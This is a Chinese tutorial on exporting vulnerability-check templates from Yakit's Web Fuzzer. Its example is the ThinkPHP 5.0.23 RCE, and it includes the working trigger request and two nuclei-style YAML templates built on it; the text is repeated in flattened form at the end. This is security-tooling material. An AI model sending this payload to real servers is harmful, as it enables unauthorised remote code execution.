PoC免写攻略
字数 1198 2025-08-10 08:28:00

Yakit Web Fuzzer 一键导出 PoC 教学文档

1. PoC 概念与重要性

PoC (Proof of Concept) 在网络安全领域起着重要作用:

  • 用于安全研究、漏洞发现和漏洞利用
  • 传统 PoC 编写流程存在效率问题:
    • 手动测试 → 编写 PoC → 调试 PoC → 批量使用
    • 各阶段关联性差,耗费不必要的工作时间

2. Yakit 的 PoC 解决方案

Yakit 在 Web Fuzzer 中提供新功能:

  • 一键导出 PoC YAML
  • 联动的调试功能
  • 打通 PoC 工作流程,实现"免写"PoC

3. 实战案例:ThinkPHP 5.0.23 RCE 漏洞 PoC

3.1 漏洞背景

ThinkPHP 5.0.23 及以下版本存在 RCE 漏洞:

  • 获取 method 的方法未正确处理方法名
  • 攻击者可调用 Request 类任意方法并构造利用链
  • 导致远程代码执行

3.2 Web Fuzzer 手动验证

构造触发数据包

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

此数据包可执行 phpinfo 函数

验证响应 - 匹配器

合理判断标准:响应同时包含以下关键字

  • ThinkPHP
  • PHP Version
  • PHP Extension

匹配器配置

  1. 位于 Web Fuzzer 高级配置栏
  2. 三种匹配模式:
    • 丢弃:符合匹配器时丢弃返回包
    • 保留:符合匹配器时保留返回包,其余丢弃
    • 仅匹配:符合匹配器时染色返回包

设置步骤

  1. 点击"添加匹配器"
  2. 设置匹配规则:
    • 匹配关系:AND
    • 匹配范围:全部响应
    • 匹配三个关键字
  3. 应用设置后重新发送数据包验证

3.3 导出 PoC YAML

导出方式

Web Fuzzer 右上角两个按钮:

  1. 直接导出 PoC
  2. 转到调试 PoC

PoC 结构

Yakit 兼容 nuclei PoC 模板,支持两种模式:

Raw 模式示例

id: WebFuzzer-Template-UuMDryDU
info:
  name: WebFuzzer Template UuMDryDU
  author: god
  severity: low
  description: write your description here
  reference:
    - https://github.com/
    - https://cve.mitre.org/
metadata:
  max-request: 1
  shodan-query: ""
  verified: true
  yakit-info:
    sign: 4a59ba760cdf626429aa3c22ab3dcfa0
http:
- raw:
  - |
    @timeout: 30s
    POST /index.php?s=captcha HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72

    _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1    
  max-redirects: 3
  matchers-condition: and
  matchers:
    - type: word
      words:
        - ThinkPHP
        - PHP Version
        - PHP Extension
      condition: and

Path 模式示例

id: WebFuzzer-Template-oZqWchul
info:
  name: WebFuzzer Template oZqWchul
  author: god
  severity: low
  description: write your description here
  reference:
    - https://github.com/
    - https://cve.mitre.org/
metadata:
  max-request: 1
  shodan-query: ""
  verified: true
  yakit-info:
    sign: 69a05e9c6fc674153565cbbe1e868464
http:
- method: POST
  path:
    - '{{RootUrl}}index.php'
  headers:
    Content-Type: application/x-www-form-urlencoded
    Host: 172.29.228.154:8080
  body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
  max-redirects: 3
  matchers-condition: and
  matchers:
    - type: word
      words:
        - ThinkPHP
        - PHP Version
        - PHP Extension
      condition: and

yakit-sign 字段

  • 作用:保护 PoC 数据正确性和完整性
  • 对重要数据(raw、method、headers等)进行签名
  • 在插件生态中用于:
    • 验证 PoC 是否被意外改动
    • 筛选可信赖的插件

3.4 PoC 调试

调试流程

  1. 在 Web Fuzzer 页面点击"生成 YAML 模板"按钮
  2. 自动跳转到插件调试页面
  3. 配置调试目标(支持域名、IP、URL)
  4. 执行调试,查看:
    • 调试流量
    • 插件信息
    • 控制台输出

保存插件
调试完成后,点击"存为插件"按钮,将 YAML PoC 保存为可批量使用的插件

4. 总结

Yakit Web Fuzzer 的 PoC 功能优势:

  1. 简化 PoC 编写流程:
    • 手动测试 → 自动导出 → 调试 → 批量使用
  2. 提供完整的 PoC 生命周期管理
  3. 通过签名机制保证 PoC 完整性
  4. 与插件系统无缝集成

使用此功能可显著提高安全研究人员的工作效率,将精力集中在漏洞发现而非重复性的 PoC 编写工作上。

Yakit Web Fuzzer 一键导出 PoC 教学文档 1. PoC 概念与重要性 PoC (Proof of Concept) 在网络安全领域起着重要作用: 用于安全研究、漏洞发现和漏洞利用 传统 PoC 编写流程存在效率问题: 手动测试 → 编写 PoC → 调试 PoC → 批量使用 各阶段关联性差,耗费不必要的工作时间 2. Yakit 的 PoC 解决方案 Yakit 在 Web Fuzzer 中提供新功能: 一键导出 PoC YAML 联动的调试功能 打通 PoC 工作流程,实现"免写"PoC 3. 实战案例:ThinkPHP 5.0.23 RCE 漏洞 PoC 3.1 漏洞背景 ThinkPHP 5.0.23 及以下版本存在 RCE 漏洞: 获取 method 的方法未正确处理方法名 攻击者可调用 Request 类任意方法并构造利用链 导致远程代码执行 3.2 Web Fuzzer 手动验证 构造触发数据包 此数据包可执行 phpinfo 函数 验证响应 - 匹配器 合理判断标准:响应同时包含以下关键字 ThinkPHP PHP Version PHP Extension 匹配器配置 : 位于 Web Fuzzer 高级配置栏 三种匹配模式: 丢弃:符合匹配器时丢弃返回包 保留:符合匹配器时保留返回包,其余丢弃 仅匹配:符合匹配器时染色返回包 设置步骤 : 点击"添加匹配器" 设置匹配规则: 匹配关系:AND 匹配范围:全部响应 匹配三个关键字 应用设置后重新发送数据包验证 3.3 导出 PoC YAML 导出方式 Web Fuzzer 右上角两个按钮: 直接导出 PoC 转到调试 PoC PoC 结构 Yakit 兼容 nuclei PoC 模板,支持两种模式: Raw 模式示例 : Path 模式示例 : yakit-sign 字段 作用:保护 PoC 数据正确性和完整性 对重要数据(raw、method、headers等)进行签名 在插件生态中用于: 验证 PoC 是否被意外改动 筛选可信赖的插件 3.4 PoC 调试 调试流程 : 在 Web Fuzzer 页面点击"生成 YAML 模板"按钮 自动跳转到插件调试页面 配置调试目标(支持域名、IP、URL) 执行调试,查看: 调试流量 插件信息 控制台输出 保存插件 : 调试完成后,点击"存为插件"按钮,将 YAML PoC 保存为可批量使用的插件 4. 总结 Yakit Web Fuzzer 的 PoC 功能优势: 简化 PoC 编写流程: 手动测试 → 自动导出 → 调试 → 批量使用 提供完整的 PoC 生命周期管理 通过签名机制保证 PoC 完整性 与插件系统无缝集成 使用此功能可显著提高安全研究人员的工作效率,将精力集中在漏洞发现而非重复性的 PoC 编写工作上。